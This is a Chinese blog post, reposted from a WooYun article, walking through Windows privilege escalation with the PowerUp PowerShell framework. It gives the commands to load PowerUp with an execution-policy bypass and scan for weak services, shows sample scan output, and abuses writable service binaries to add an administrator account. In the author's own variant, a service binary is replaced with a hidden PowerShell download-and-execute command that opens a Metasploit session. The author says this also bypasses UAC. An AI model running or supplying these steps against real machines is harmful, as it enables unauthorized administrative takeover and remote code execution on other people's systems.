在乌云上看了一篇关于”非常规提权”的做法,试了一下,效果不错.装载过来,顺便加上自己的代码段.
简洁点写,省去大部分,需要阅读原文的请去:http://drops.wooyun.org/tips/11989
通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
要使用Powerup,首先需要下载此脚本:Powerup,之后加载此脚本:
E:> powershell.exe -nop -exec bypass
PS E:\> Import-Module .\PowerUp.psm1
加载完成以后,便可以使用Powerup中的所有模块了。
通过如下命令可以查看所有模块:
PS E:\> Get-Command -Module powerup
看到这个样子就成功了.
(我们直接跳到精彩的这里)
测试环境为win10。平常用的虚拟机,并没有特意去配置存在漏洞的环境,所以并不是所有的模块均可以使用。实际测试可以根据实际环境来调整。此次测试并未使用内核漏洞来提权。
首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:
C:\Windows\system32>net user powerup 1 /add
执行Invoke-AllChecks:
Invoke-AllChecks
执行以后找到下列问题:
[*] Checking for unquoted service paths...
ServiceName : CDROM_Detect
Path : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path
ServiceName : hMailServer
Path : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path
[*] Checking service executable and argument permissions...
ServiceName : wampapache
Path : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'wampapache'
ServiceName : wampmysqld
Path : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'wampmysqld'
可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:
PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123
之后当管理员运行该服务的时候,则会添加我们的账号
我自己测试发现了”metasploitPostgreSQL” 这个可以被利用。然后改了下上面代码中的服务名,然后测试成功.我测试是反弹msf代码
Install-ServiceBinary -ServiceName 'metasploitPostgreSQL' -Command "powershell.exe -nop -w hidden -c `"IEX ((new-object net.webclient).downloadstring('code_address'))`""
Restore-ServiceBinary -ServiceName 'metasploitPostgreSQL'
然后就成功的上线了,还是绕过了UAC的.屌屌的…
对了,用完就得还原服务哦
Restore-ServiceBinary -ServiceName 'wampapache'
(我们又跳到小结)
Powerup提供了一些我们并不常见的提权方式,并且为我们的Windows提权提供了极大的方便,如果碰到未安装Powershell的计算机,可以详细参考Powerup里面的函数实现过程来通过别的方式来实现同样的效果,希望本文对你有帮助。
本文由evi1cg原创并首发于乌云drops,转载请注明